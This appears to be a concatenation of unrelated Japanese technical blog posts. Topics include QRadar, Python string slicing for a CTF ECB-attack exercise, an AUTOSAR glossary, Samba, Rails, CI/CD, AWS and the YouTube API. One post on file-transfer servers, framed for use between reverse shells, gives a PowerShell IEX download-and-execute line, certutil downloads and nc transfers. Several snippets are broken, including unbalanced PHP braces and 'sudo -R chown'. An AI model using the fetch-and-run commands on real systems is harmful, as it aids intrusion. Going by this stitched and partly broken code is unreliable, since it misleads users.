[6. Attach storage to your instance. ~Installing a QRadar data gateway in IBM Cloud~](https://qiita.com/ririan/private/76995b754826dc741dcb)
[7. Install the DGW and set the admin password. ~Installing a QRadar data gateway in IBM Cloud~](https://qiita.com/ririan/private/73ed858d6ba56578e872)
[8. Upgrade the DGW to the same version of QRadar as your Console. ~Installing a QRadar data gateway in IBM Cloud~](https://qiita.com/ririan/private/ff6db74badb7c2a56776)
[9. generate a token ~Installing a QRadar data gateway in IBM Cloud~](https://qiita.com/ririan/private/43b3b8d3dcc35e9821ea)
[10. After you receive your token ~Installing a QRadar data gateway in IBM Cloud~](https://qiita.com/ririan/private/d0755fdd4fcd9b1f1f7f)
[補足1. iptables への SSH アクセス許可設定追加 ~Installing a QRadar data gateway in IBM Cloud~](https://qiita.com/ririan/private/11be679077dff6dde1d1)
[補足2. オブジェクトストレージ削除 ~Installing a QRadar data gateway in IBM Cloud~](https://qiita.com/ririan/private/8444b04565e85abf38c8)
pythonでn文字ずつ取り出す

まず例として、abcdefghijklの12文字を3文字ずつ取り出す（すなわち3文字ずつ区切って表示する）方法をpythonコードと共に解説。

# 3文字ずつ取り出すpythonコード

```
>>> s = 'abcdefghijkl'
>>> i = 0
>>> j = 3
>>> for _ in range(len(s) // 3):
...   print(s[i:j])
...   i += 3
...   j += 3
... 
abc
def
ghi
jkl
```

`j`の初期値、`range`の中の割る数、`i`と`j`のインクリメントに現れる**3**という数字は、**3**文字ずつ区切るというところから来てる。
![block_size_ok.jpeg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2659122/4d8370f6-5e18-2ba2-c53e-719a18ff8b80.jpeg)

# 32文字ずつ区切って表示する

『詳解セキュリティコンテスト CTFで学ぶ脆弱性攻略の技術』の16章。

16.5の「ECBモードに対する攻撃」で暗号文と平文の対応を調べるときに、その出力を32文字ずつ区切って考える場面がある。

暗号文を32文字ずつ区切るためのpythonスクリプトがこちら：

```python:cutter.py
s = input('enter your strings> \n')
def main():
    i, j = 0, 32
    for _ in range(len(s) // 32):
        print(s[i:j])
        i += 32
        j += 32

if __name__ == '__main__':
    main()
```

このcutter.pyを以下のように使用する。

<br><br>

まず本書（p.278）に従ってecb_service.pyを実行して暗号文を得る：

```
$ python3 ecb_service.py
username> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
27fba2e9f5236c0fd21beac1e80cf5f23bfd04cc0d7ed55358e2cbe19de213833bfd04cc0d7ed55358e2cbe19de21383558a980bd73b36d0dda5ec6a496cff097ecb8c8420359d54f0d7699a1cfa4f8d
```

そして上で作成したcutter.pyスクリプトを実行し、得られた暗号文を標準入力として渡す：

```
$ python3 cutter.py
enter your strings>
27fba2e9f5236c0fd21beac1e80cf5f23bfd04cc0d7ed55358e2cbe19de213833bfd04cc0d7ed55358e2cbe19de21383558a980bd73b36d0dda5ec6a496cff097ecb8c8420359d54f0d7699a1cfa4f8d
27fba2e9f5236c0fd21beac1e80cf5f2
3bfd04cc0d7ed55358e2cbe19de21383
3bfd04cc0d7ed55358e2cbe19de21383
558a980bd73b36d0dda5ec6a496cff09
7ecb8c8420359d54f0d7699a1cfa4f8d
```

こうして32文字ずつ区切って表示することができた。

（同じ文字列”3bfd04cc0d7ed55358e2cbe19de21383”が現れていることも確認できる。）


※一次的に必要になりササっと書いたものなので改善の余地が大いにあります。


ちなみに文字数が偶数である文字列をの2文字ずつ区切るなら

```python
 In [1]: x = 'abcdef' 
 In [2]: for n in range(0, len(x) + 2, 2):
    ...:     print(x[n-2:n])
    ...:  
 ab
 cd
 ef

 # range関数の第三引数が肝
 In [3]: for n in range(0, len(x), 2):
    ...:     print(n)
    ...: 
 0
 2
 4
```
Requirements on Security Extract Template, No.979, AUTOSAR R21-11 (64) FO

Requirements on Security Extract Template, No.979, 2021-11

https://www.autosar.org/fileadmin/standards/foundation/21-11/AUTOSAR_RS_SecurityExtractTemplate.pdf


AUTOSAR R21-11記事一覧はこちら。

AUTOSAR 21-11, 42文書読んだ。2022年5月中に半分到達予定。

https://qiita.com/kaizen_nagoya/items/648b32867635993410c8

AUTOSAR R21-11(0) 仕様ダウンロード一覧。単語帳。参考文献資料作成

https://qiita.com/kaizen_nagoya/items/9b3a1b9b8d1e8d7e288e

# 用語(terms)
nothing

## 英日
日本語は仮訳

|no.|count|word|日本語|
|:----|:----|:----|:----|
|1|163|security|安心|
|2|137|of|の|
|3|125|the|その|
|4|78|a|一つの|
|5|76|extract|抽出する|
|6|73|rs_secxt_|rs_secxt_|
|7|62|events|行事|
|8|62|to|に|
|9|58|for|にとって|
|10|51|shall|しなければならない|
|11|44|template|雛形|
|12|43|autosar|autosar|
|13|41|requirements|要件|
|14|39|event|行事|
|15|38|support|対応|
|16|36|and|と|
|17|32|be|です|
|18|32|document|資料|
|19|30|r|r|
|20|29|in|中に|
|21|29|on|の上|
|22|26|c|c|
|23|26|configuration|構成|
|24|26|idsm|Intrusion Detection System Manager(短縮名)|
|25|25|description|説明|
|26|25|material|材料|
|27|24|use|使う|
|28|23|an|と|
|29|23|definition|定義|
|30|23|rs_main_|rs_main_|
|31|22|case|場合|
|32|22|d|d|
|33|22|dependencies|依存関係|
|34|22|draft|原案|
|35|22|it|それ|
|36|22|supporting|対応|
|37|21|id|identifier, 識別子(短縮名）|
|38|21|or|また|
|39|21|rationale|根拠|
|40|21|with|と|
|41|18|autosar_rs_security|autosar_rs_security|
|42|18|fo|foundation(短縮名)|
|43|18|is|は|
|44|16|ecu|Electronic control unit(短縮名)|
|45|15|as|なので|
|46|15|given|与えられた|
|47|14|association|協会|
|48|14|report|報告する|
|49|13|by|に|
|50|13|platform|土台|
|51|13|related|関連している|
|52|13|that|それ|
|53|12|ids|identifiers(短縮名)|
|54|12|information|情報|
|55|12|system|系|
|56|12|timestamp|時間印|
|57|11|configure|構成、設定|
|58|11|instance|実例|
|59|11|module|部品|
|60|11|optional|選択肢|
|61|11|possible|可能|
|62|11|this|これ|
|63|10|instances|実例|
|64|10|reported|報告|
|65|10|standardized|標準化|
|66|9|are|それは|
|67|8|development|発達|
|68|7|adaptive|適応|
|69|7|any|どれか|
|70|7|bus|乗合自動車|
|71|7|communication|通信|
|72|7|requirement|要件|
|73|7|tables|表|
|74|7|trace|跡|
|75|7|work|仕事|
|76|6|all|すべて|
|77|6|classic|古典|
|78|6|data|与件|
|79|6|format|書式|
|80|6|levels|水準|
|81|6|network|通信網|
|82|6|not|いいえ|
|83|6|sensor|感知器|
|84|6|software|ソフトウェア|
|85|6|specification|仕様|
|86|6|these|これらは|
|87|6|used|使った|
|88|5|between|の間に|
|89|5|context|文脈|
|90|5|define|定義|
|91|5|different|違う|
|92|5|filtering|濾過|
|93|5|has|もっている|
|94|5|history|歴史|
|95|5|level|水準|
|96|5|only|だけ|
|97|5|parameters|引数|
|98|5|part|部|
|99|5|pre|前（接頭辞）|
|100|5|release|開放|
|101|5|scope|範囲|
|102|5|severity|重大度|
|103|5|specified|指定|
|104|5|table|表|
|105|5|whether|どうにか|


# 参考(reference)

[1] Standardization Template
AUTOSAR_TPS_StandardizationTemplate
[2] Main Requirements
AUTOSAR_RS_Main

 ＜この記事は個人の過去の経験に基づく個人の感想です。現在所属する組織、業務とは関係がありません。＞

# 関連文書(Related document)

# 文書履歴(document history)
ver. 0.01 初稿 20220522
ver. 0.02 URL追記　20221229
Ubuntu Desktop 22.04 LTS でファイル共有を設定する

ちょっと苦戦したのでメモ書き程度で残します。
この設定って何を意味するの？は他の方が詳しく書いて下さっているので割愛。

以下、今回の環境の前提：
・ubuntu上の通常ユーザからsambaへアクセスする（samba用のユーザは用意しない。）
・sambaへアクセスする際にはユーザ認証する

## 手順

1. フォルダを作成してローカルネットワーク共有をクリック
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/341017/353fa6d9-cfb6-9a5c-7d4f-b75a3dc9a273.png)
2. `このフォルダーを共有する`と`このフォルダー内でのファイルの作成・削除を他のユーザに許可する`にチェックを入れて`共有を変更`をクリックする
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/341017/260a0655-abbb-5206-ee83-db7188d5e32f.png)

3. Terminalを開いて`sudo pdbedit -L`を実行すると、sambaでアクセスできるユーザ一覧が表示されると思いますが、初期状態だと何も表示されない（何も返ってこない）ので次の手順で登録する。
4. `sudo pdbedit -a -u <username>` <username>は登録するユーザに置き換えてください。パスワードを二回聞かれるので入力すると、登録完了します。
5. 再び`sudo pdbedit -L`を実行して、先程登録したユーザが表示されたら完了。

6. エクスプローラから`\\<ubuntuのIPアドレス>\`へアクセスすると認証ダイアログが出てくるので、4.で登録したユーザのID/PWを入力するとアクセス完了！

## あとがき

はい、手順4が漏れててハマりました。（何度もリブートしたり設定し直したり…答えはTerminalかよ…！）

参照させていただきましたサイト様：
https://kledgeb.blogspot.com/2022/05/ubuntu-2204-107.html
CSSで文字数をカウントして、幅を100%使い切る

## CSSって、文字数カウントできないんです。

それなら、文字数をカウントできるようにすればよいのです。

```test.css
.test {
	width: 95w;
}
```

この95wの大きさの中に、
例えば、５文字を
もしくは２５文字を可能な限り大きな可変で文字で１行でいれなければなりませんでした。

答えはこれしかなかったです。

```test.php
	$plength=mb_strlen($title);
	$pspace=".1rem";

	if($plength<6) {
		$pspace=(6 - $plength) * 1 . "rem";
		$plength=6;
	}

	// 一応、body の適当など真ん中に style があっても認識はしてくれます
	echo '<style>';
			echo 'section.head h2 div p {';
				echo 'font-size:calc(30vw/'.$plength.');';
			echo '}';
			echo '@media (min-width: 991px){';
				echo 'section.head h2 div p {';
					echo 'letter-spacing:' . $pspace . ';';
				echo '}';
					echo 'letter-spacing:' . $ispace . ';';
				echo '}';
			echo '}';
	echo '</style>';
Linuxにおける自作コマンドの作り方

# 概要
Linuxでコマンドを自作する際の備忘録。誰かの役に立てば幸いです。
筆者の作業環境はWSL2(Ubuntu)、シェルはZSHです。

# 1,PATHを通すディレクトリの作成
LinuxではPATH変数というコマンドを検索しに行くディレクトリのリストが保存されているものがあります。
このことから、自分の作成したコマンドがPATHに記述されているディレクトリに保存されていれば、他のコマンドと同様に実行することができるようになります。
なのでまず、最初に自分の使っているシェルの設定ファイル(`.bashrc`や`.zshrc`など)に以下のような設定を書き加えてください。

・ログインシェルのシェルを確認
```title:コマンド
which $SHELL
```

・現在設定されているPATHの確認
```title:コマンド
echo $PATH
```
・任意のディレクトリをPATHに追加する設定
(例:ホームディレクトリの下にある/mybinというディレクトリを追加している)
```title:.zshrc
PATH=$PATH:$HOME/mybin
```
・設定の読み込み
(例:`.zshrc`に書き込んだ時)
```title:コマンド
source .zshrc
```
# 2,コマンドの作成
・コマンドを実行する際に使用したい名前でファイルを作成する。
(例:testechoというコマンドを作る)
```title:コマンド
touch testecho
```
・好きなエディタでシェルスクリプトを書いていく
(例:コマンドラインに「コマンドは無事作成できました」と表示するスクリプト)
```title:testecho
#!/bin/bash
echo "コマンドは無事作成できました"
```
# 3,コマンドに実行権限を与える
```title:コマンド
chmod 755 testecho
```
これでコマンドは無事実行できるはずです。
```title:コマンド
testecho
```
```title:実行結果
コマンドは無事作成できました
```
# 最後に
似たようなものでシェル関数というものもあるのでそちらも調べてみるといいかもしれないです。(個人的にはこっちのほうが好き)
100日後くらいに個人開発するぞ！day020

## 今日もHTML＆CSS初級編を復習してみた！

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2632394/87f6c6a9-cba6-a85d-9158-50d3e6c5b5f4.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2632394/b7c90e28-2e18-7695-3b89-e83216f648de.png)




## 今日の備忘録

### ブロック要素とインライン要素
- ブロック要素：前後で改行が入り、親要素の幅いっぱいに広がる要素
    - 例：`<div>`要素、`<h1>`要素、`<p>`要素
- インライン要素：改行されない要素
    - 例：`<span>`要素、`<a>`要素

### ボーダー（枠線）をつける方法
- ボーダーを着けたい場合はborderプロパティを用いて太さ・種類・色を指定します
    - 定型分：`{border:太さ 種類 色;}`


### ボックスモデル


![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2632394/5633e6d3-95a1-453d-5bd9-4f298c24ea23.png)
pythonで簡易サーバを立てて簡単にファイル転送

FTP、HTTP、SMBサーバを簡単に立ち上げる。さらにそれを使って簡単にファイル転送する。

リバースシェル間でのファイル転送にすごく便利。

特に良い点が、`-d`オプションを使ってどこからでも任意のディレクトリをシェアフォルダにできるということ。

# FTPサーバー

`pip install pyftpdlib`でインストール。

https://github.com/giampaolo/pyftpdlib

カレントディレクトリをシェアフォルダとして、21番ポートで、anonymousアクセスに書き込み権限を与えるならば

```
python3 -m pyftpdlib -w -p 21
```

（ポートを指定しない場合のデフォルトポートは2121）

/opt/PEASS-ngをシェアフォルダにしたい場合、わざわざそこに移動しなくてもカレントディレクトリ上で次のように`-d`オプションを使えばよい

```
python3 -m pyftpdlib -w -p 21 -d /opt/PEASS-ng
```

## FTPとファイル転送

まずftpサーバに接続：

```
ftp <ftpサーバのIPアドレス>
```

その後`ftp`コマンドを用いる（anonymousアクセスなのでパスワードを求められてもエンターキーを推してスキップ）


ftpでのファイル転送に際し、txtファイルじゃないexeとかスクリプトとかを転送する場合はまずはじめにftpのプロンプト上で

```
bin
```

と打ち込んでエンターを押す。

ファイルダウンロード：

```
get <ファイル名>
```

ファイルアップロード：

```
put <ファイル名>
```

# HTTPサーバ

```
python3 -m http.server
```

デフォルトポートは8080。

ポート80でカレントディレクト上にHTTpサーバを立ち上げるには

```
sudo python3 -m http.server 80
```

（大切だからくどめに、）`-d`オプションで任意のディレクトリをシェアフォルダをとして指定できる（例：`python3 -m http.server -d /opt/somedir`）。

## HTTPサーバとファイル転送

```
wget http://<HTTPサーバのIP>:<ポート番号>/<ファイル名> -O <お好みのファイル名>

curl http://<HTTPサーバのIP>:<ポート番号>/<ファイル名> -o <お好みのファイル名>
```

Windowsなら

```
C:\> certutil -URLcache -f http://<HTTPサーバのIP>/file file

PS C:\> powershell -c "Invoke-Webrequest -OutFile <お好みのファイル名> -Uri http://<HTTPサーバのIP>/<ファイル名>"

PS C:\> IEX(New-Object Net.WebClient).downloadString('http://<HTTPサーバのIP>:<ポート番号>/<ファイル名>')
```

# SMBサーバ

impacketのsmbserver.py

https://github.com/SecureAuthCorp/impacket/blob/master/examples/smbserver.py

今のKali Linuxならデフォルトで入っていて、`impacket-smbserver`で起動する。ポイントは"impacket"の文字を頭につけること。

```
impacket-smbserver.py <share name> <share folder> -smb2support
```

`<share name>`は任意の名前、`<share folder>`でシェアフォルダにしたいディレクトリを指定する。

## SMBサーバとファイル転送

これはWindows上でのファイル転送ですごく使える。

SMBサーバ側からローカルにファイルをダウンロード：

```
copy \\<SMBサーバのIP>\<share name>\<ファイル名> <お好みのファイル名>
```

こちらのファイルSMBサーバ側へアップロード：

```
copy <アップロードするファイル名>　\\<SMBサーバのIP\<share name>\
```

# （おまけ）SMTPサーバ

```
sudo python3 -m smtpd <自身のIP>:25

sudo python3 -m smtpd -n -c DebuggingServer <自身のIP>:25
```

参考：

https://github.com/MASAbirokou/JustMemo/blob/main/send_mail_CUI_swaks.md

# ファイル転送ならncコマンド

ちなみにLinuxにおけるファイル転送だけなら、`nc`コマンドで可能。

ファイルを渡す人（file.txtを渡す）：

```
nc -l 1234 < file.txt
```

ファイルをもらう人：

```
nc <相手のIP> 1234 > file.txt
```

相手のIPの次は、相手がリッスンしているポート番号（ここでは1234）を指定。
モデルベース開発入門_HILSとは

# はじめに
こんにちは！
入門者(新入社員や転職者)向けモデルベース開発解説記事第5弾です。
今回はシミュレーション方法の１つであるHILS(Hardware In the Loop Simulation)について解説します。
HILSのHはHardware(実ECU)を意味します。
MILSと似ているので初心者は混乱すると思いますが、この記事を読むとHILSの概要、メリット、実施タイミングについて理解することができます。

(MILS HILS SILS PILSと新入社員時代は何のことかさっぱり理解できませんでした。)

HILSに限らずモデルベース開発を中心に組み込み系の情報をまとめたホームページを作成中です。よければ覗いてみてください。
[モデルベース開発入門](http://lets-mbd.com/)

# HILSの概要
HILSとはHardware In the Loop Simulationの略で、実ECUとプラント(制御対象)を接続してのシミュレーション手法です。V字プロセス右側の検証工程効率化のために使用されます。複雑化する制御ソフトのテストを全て実機で行うことは現実的でなくなってきているので、検証工程を効率化するためにHILSの活用が進んでいます。
![HILSとは.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2643741/92e4e05d-b773-e2fc-df05-9b1341076007.png)
MILSがECUとプラント両者がモデルだったのに対し、HILSはECUが実物というのが特徴です。
![HILSの位置づけ.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2643741/d17ea359-d88a-ca86-8433-c57b49a96f36.png)

# HILSのメリット
メリット① 実ECUの検証が可能
MILSと異なりHILSでは本物のECUを使用して評価を行います。なので、MILSでは確認することのできなかった制御モデル以外の機能(ハンドコードで実装している箇所、通信処理、ハンドコードと制御モデルの情報受け渡し等)の検証が可能です。

メリット② 早期の動作確認が可能
MILS同様、本物の制御対象が必要ないので開発PJ早期に動作確認が行えます。

メリット③ 自動チェックが可能
人間が入力パターンを毎回手入力する必要がないので効率的に検証が可能です。

# HILSで使用するプラントモデルについて
MILS同様SimscapeやAmesimなどプラントモデリングツールを用いてプラントモデルを作成します。作成したプラントモデルをリアルタイムシミュレーター(MathWorks社のSpeedgoatやdSPACE社のSCALEXIOなど)に書き込み、実ECUと接続してHILS環境を構築します。実ECUの評価を行うのでプラントモデルは実時間で動作する必要があります(実ECUは実時間で動作するので、プラントモデルも同様に動作する必要がある)。過剰に精度を求めて複雑にプラントモデルを作成すると実時間で動作せず、HILSが実行できなくなってしまうので注意が必要です。

# HILSの実施タイミングについて
HILSは実物のECUとプラントモデルを使用しますので、実物のECUが完成するコーディング工程完了後から実施できます。最後の評価工程である実機評価工程でバグが発見されると大きな手戻りとなってしまうので、HILSを活用して単体評価工程もしくは結合評価工程で制御ソフトの信頼性を高めることにより開発プロジェクトを効率的に進めていきましょう。
![HILS実施タイミング.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2643741/712363fe-22ee-c148-cb17-649d82337ae6.png)

# まとめ
本ページではHILSについて解説しました。HILSを使用すると、実機レスで実ECUの評価が可能です。HILSを活用して効率的に開発業務を進めていきましょう。

HILSに限らずモデルベース開発を中心に組み込み系の情報をまとめたホームページを作成中です。よければ覗いてみてください。
[モデルベース開発入門](http://lets-mbd.com/)
<備忘録>Railsアプリでパーミッションエラー

今回はRailsアプリで発生したパーミッションに関するエラーの
対策を備忘録として残します。

 # rails s 時に発生

```
Errno::EACCES (Permission denied @ apply2files - /Users/ユーザーネーム/Documents/homepage/homepage_on_ruby_on_rails/homepage/tmp/cache/assets/sprockets/v4.0.0/Ku/KueVW_Fgne0MoM9sWUxwZLSJS_YpySO0N2iIaOhPsgg.cache):
```

とエラーが表示されビューが返されませんでした。

どうやら権限がない？ということらしい。

確認します。
```
$ ls -al /Users/ユーザーネーム/Documents/homepage/homepage_on_ruby_on_rails/homepage/tmp/cache/assets/sprockets/v4.0.0/ku              
total 8
drwxr-xr-x    3 root            staff     96  5  9 14:02 .
drwxr-xr-x  630 ユーザーネーム  　 staff  20160  5  9 19:30 ..
-rw-r--r--    1 root            staff    123  5  9 14:02 KueVW_Fgne0MoM9sWUxwZLSJS_YpySO0N2iIaOhPsgg.cache
```

所有者がrootになっているので一般ユーザー（ユーザーネーム）に変更します。
```
$ sudo -R chown ユーザーネーム  /Users/ユーザーネーム/Documents/homepage/homepage_on_ruby_on_rails/homepage 
```

無事ビューが返ってきました。
hetemlというレンタルサーバーにLaravelをDeployerを使ってGitHubActionsでCI/CDしたときの設定

テストを実施した後にDeployerを使ってデプロイを実施する。

```yml:.github/workflows/main.yml
name: UnitTest

on:
  push:
    branches: [ main ]
  pull_request:
    branches: [ main ]

jobs:
  laravel-tests:
    name: phpunit test
    runs-on: ubuntu-latest
    
    services:
      mysql: 
        image: mysql:8.0.19
        ports:
          - 3306:3306
        env:  
          MYSQL_ROOT_PASSWORD: "password"
          MYSQL_DATABASE: test_db
          MYSQL_USER: user
          MYSQL_PASSWORD: "password"
        options: --health-cmd "mysqladmin ping -h localhost" --health-interval 20s --health-timeout 10s --health-retries 10
   
    env:
      DB_CONNECTION: mysql
      DB_HOST: db
      DB_PORT: 3306
      DB_DATABASE: test_db
      DB_USERNAME: user
      DB_PASSWORD: "password"
    
    steps:
      - uses: actions/checkout@v2
      - name: Setup PHP 7.4
        run: sudo update-alternatives --set php /usr/bin/php7.4
        
      - name: cache vendor 
        id: cache
        uses: actions/cache@v1
        with:
          path: ./vendor
          key: ${{ runner.os }}-composer-${{ hashFiles('**/composer.lock') }}
          restore-keys: |
            ${{ runner.os }}-composer-
            
      - name: composer install
        shell: bash -xe {0}
        if: steps.cache.outputs.cache-hit != 'true'
        run: composer install -n --prefer-dist
        
      - name: composer dump autoload
        shell: bash -xe {0} 
        run: composer dump-autoload
        
      - name: generate key
        shell: bash -xe {0} 
        run: php artisan key:generate --env=testing
        
      - name: migrate
        shell: bash -xe {0} 
        env:
          DB_HOST: 127.0.0.1
        run: php artisan migrate --force
        
      - name: unit test
        shell: bash -xe {0} 
        env:
          DB_HOST: 127.0.0.1
        run: ./vendor/bin/phpunit

 
  deploy:
    name: deploy
    runs-on: ubuntu-latest
    needs: laravel-tests
    if: github.ref == 'refs/heads/main'

    steps:
      - uses: actions/checkout@v2
      - name: Setup PHP 7.4 
        run: sudo update-alternatives --set php /usr/bin/php7.4
        
      - name: cache vendor
        id: cache
        uses: actions/cache@v1
        with:
          path: ./vendor
          key: ${{ runner.os }}-composer-${{ hashFiles('**/composer.lock') }}
          restore-keys: |
            ${{ runner.os }}-composer-
            
      - name: composer install
        if: steps.cache.outputs.cache-hit != 'true'
        run: composer install -n --prefer-dist
          
      - name: setup ssh
        run: | 
          mkdir -p /home/runner/.ssh
          touch /home/runner/.ssh/id_rsa
          echo "${{ secrets.SSH_DEPLOY_KEY }}" > /home/runner/.ssh/id_rsa
          chmod 600 /home/runner/.ssh/id_rsa
        
      - name: composer require deployer/deployer
        run: composer require deployer/deployer --dev
        
      - name: deploy
        run: ./vendor/bin/dep deploy production -vvv
```
API Gateway+LambdaのAPI実行時にMissing Authentication Tokenとなった場合の確認観点

## はじめに
API Gateway + LambdaでAPIを作成して、アクセスした際にタイトルのエラーが発生したので、その際の確認観点を記載します。

## エラー内容
- ステータスコード: 403
- エラーメッセージ: Missing Authentication Token

## 試したこと
### Missing Authentication Tokenで検索
- 認証情報周りは特に問題なさそうでした。

### 403のステータスコードの意味を検索
ウィキペディアによると、以下と書いてあります。

> ページが存在するものの、特定のアクセス者にページを表示する権限が付与されず、アクセスが拒否されたことを示すもの。また、サイトの制作者側の設計ミスによる障害やサイトが非常に混雑している時、URLが間違っている場合にも表示されることがある。

Ref:https://ja.wikipedia.org/wiki/HTTP_403

> URLが間違っている場合にも表示されることがある。

とあったので、この観点で確認してみました。

## 原因
- 上記の通り、APIのエンドポイントが誤っていました。

## 解決策
- アクセスするAPIのエンドポイントを見直しました。

## 結果
- APIを正常に実行できるようになりました。

## 終わりに
`Missing Authentication Token`というエラーメッセージが出ていたので、認証情報周りを確認していましたが、私の場合は単純にエンドポイントURLが間違っていました。
同じエラーに遭遇した方はAPIのエンドポイントが正しいかどうか確認してみると良さそうです。

## 参考
- https://aws.amazon.com/jp/premiumsupport/knowledge-center/api-gateway-authentication-token-errors/
- https://stackoverflow.com/questions/39655048/missing-authentication-token-while-accessing-api-gateway
【AWS】1か月でAWS ANSに合格した話(2022/05/09投稿)

<!-- 発端や概要を記載 -->
# 目次
<!-- タイトルとアンカー名を編集 -->
1. [はじめに](#はじめに)
1. [必要な前提知識](#必要な前提知識)
1. [使用した教材](#使用した教材)
1. [勉強方法](#勉強方法)
1. [苦労したこと](#苦労したこと)
1. [さいごに](#さいごに)


# はじめに
タイトルの通り、AWS ANSに合格したので勉強法を記事にします。
普段の仕事でRoute53,DirectConnectを触ることがあまりないので非常に勉強になりましたし、楽しかった！
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2615865/5f92b120-8bc5-f950-578e-f4d1a9051f8a.png)

# 必要な前提知識
この試験ではDirrectConnectを使用したハイブリッドな構成に関して問われることが多いですが、それに次いで名前解決に関する設問も多い印象でした。
以下はANS勉強前に前提知識として押さえておいたほうがいい内容です。
そのほかについてはこの後紹介する参考書である程度網羅できるかなといった感じです。

+ DNSの基本的な仕組み (超大切！！)
+ ロードバランサ
+ VPC
+ サブネット

# 使用した教材
以下の参考書とKoiwaClubの問題を全問解説込みで説明できるようにしました。
※AWSが模擬試験を無料公開しましたが、ANSは対象外です。
+ 要点整理から攻略する『AWS認定 高度なネットワーキング-専門知識
+ AWS WEB問題集で学習しよう
    + 有料ですが、Udemyより気に入ってます
+ DNSがよくわかる教科書
    + ANSの勉強期間中は読んでないですが、DNSの前提知識を得るにはとても分かりやすかったです
    


# 勉強方法
隅から隅まで参考書を読み込んで、模擬問題を完璧にしました。ただそれだけです（笑）
よく1週間で○○の資格取得しました！みたいな記事を見かけますが、その人が持っていた前提知識がバラバラなのであまり参考にならないかと思います。
この記事を読んでくれている方も自分と前提知識が全く違う人もいると思います。2～3か月かけて勉強しても落ちたって話も聞いたことあるので、合格までの期間は参考程度にとどめておいてください。(知識0の状態から1か月で合格はかなり大変だと思います。）
私の場合ANS受験前に以下7種のAWS認定資格を取得済みです。
+ SAP,DOP,DBS,SCS,SAA,SOA,DVA

プラスで、DNSに関する本1～2冊読んで、基本的な仕組み(名前解決の仕組,委任,フォワーダ,etc)の前提知識を理解してます。
今回のANSの勉強を進めるにあたってDNSの前提知識は特に役立ったなと感じました。
ANS取得を目指す場合は、ある程度DNSの仕組みを理解しておくことで、参考書を読んだ際の理解度が大きく違ってきますので、前もって勉強しておくことを強く勧めます！

範囲としてはDirectConnect、ルーティング,VIFの知識をしっかりと抑えれば合格が見えてくるのではないかと思います。

# 苦労したこと
DirectConnectを実際に実装した経験がないうえに、個人で構築するのはかなり大変なので、
ひたすら参考書とドキュメントを繰り返し読んで仕組み、構成を頭に叩き込みました。
特にVIFに関する知識は必要不可欠で、今までのAWS試験で問われなかった範囲だったので、初めて勉強することだらけでした。


# さいごに
初めての合格記を書いてみましたが、具体的な勉強法、近道みたいなのを紹介できず申し訳ないです。。。。
勉強法は参考書読んで問題解くだけですって書きましたが、しっかり理解して頭でイメージできるようになっていれば必ず合格できる試験だったなと思います。

個人的には資格取得が目的ではなく、知識習得が目的なので、参考書をじっくりすべて読んで理解するってスタンスをとりましたが、勉強時間を減らしたい人は模擬問題を中心に勉強してみるのも手かと思います。

とりあえず試験アップデート前に取得できてよかった！一安心です！
残りの資格もすべて取ります！
YouTube Data APIの使い方

ajaxにてYouTube Data APIのSearch（検索）を使用し、特定の検索ワードで動画タイトル、サムネイル、URLを取得する。

# 準備

1. [https://console.cloud.google.com/apis/dashboard](https://console.cloud.google.com/apis/dashboard)にアクセスし、プロジェクトを作成
2. メニューから **「APIとサービス」** → **「認証情報」** をクリック
3. ページ上部の **「認証情報を作成」** → **「APIキー」** をクリック
4. キーが作成されるのでコピーしどこかに控えておく
5. APIキーの設定を行う
参考：[https://hi3103.net/notes/web/1271](https://hi3103.net/notes/web/1271)

# jQuery + Ajax で YouTube Data APIを使用

## Search（検索結果のコレクションを返す）

ajaxでリクエストを送信しデータを受け取る。
クエリパラメーターは公式ドキュメント参照。
参考：[Search（公式）](https://developers.google.com/youtube/v3/docs/search/list)

```jsx
  const $button = $("#youtube > ul.btn_blk > li > button");
  const $mov_blk = $("#youtube > ul.mov_blk");
  const KEY = "XXXXXXXXXXXXXXXXX";

  $button.on("click", function () {
    let url = "https://www.googleapis.com/youtube/v3/search";
    url += "?key=" + KEY;
    url += "&part=snippet";
    url += "&type=video";
    url += "&q=%20筋トレ%20ジム" + $(this).data("parts");
    url += "&maxResults=6";
    $.ajax({
      url: url,
      type: "GET",
      dataType: "jsonp",
    })
      .done(function (data) {
				$mov_blk.empty();
        for (let i = 0; i < data.items.length; i++) {
          let html = `
          <li>
            <a href="https://www.youtube.com/watch?v=${data.items[i].id.videoId}" target="_blank">
              <dl>
                <dt>
                  <img src="${data.items[i].snippet.thumbnails.high.url}">
                </dt>
                <dd>${data.items[i].snippet.title}</dd>
              </dl>
            </a>
          </li>
          `;
          $mov_blk.append(html);
        }
      })
      .fail(function () {
        $mov_blk.html('<li class="no_video">検索結果はありません</li>')
      });
  });
```

動画URLは下記URLの末尾に取得した `videoId`を追加したもの。
`
https://www.youtube.com/watch?v=【取得したvideoId】
`

## 実装中に発生したエラー

- ["CORSポリシーによってブロックされています" によりデータが取得できない](https://qiita.com/shiho97797/items/76e61b67181b0930d02d)

# Youtube APIの利用料金について

- [Youtube APIの利用料金について](https://groups.google.com/g/youtube-api-jp/c/nw7f7uugjcg?pli=1)

# 注意点

- `1日10000クォータ`までデータ取得可能
クォータ：データ通信する際に必要なパケット料のようなもの
参考：[クォータを確認する](https://developers.google.com/youtube/v3/determine_quota_cost)、[クォータの使用料（公式）](https://developers.google.com/youtube/v3/getting-started#quota)
- 上限を超えてしまうとAPIを叩けなくなる
- 上限を超えた場合は追加申請が必要
参考：[YouTube API サービス - 監査と割り当て増加フォーム](https://support.google.com/youtube/contact/yt_api_form)

# 参考記事

- [YouTube Data API v3 を使って任意のプレイリストの動画情報をJSON形式で取得する jQuery + Ajax](https://hi3103.net/notes/web/1271)
- [YouTube Data API v3を使用（LIG）](https://liginc.co.jp/497428)
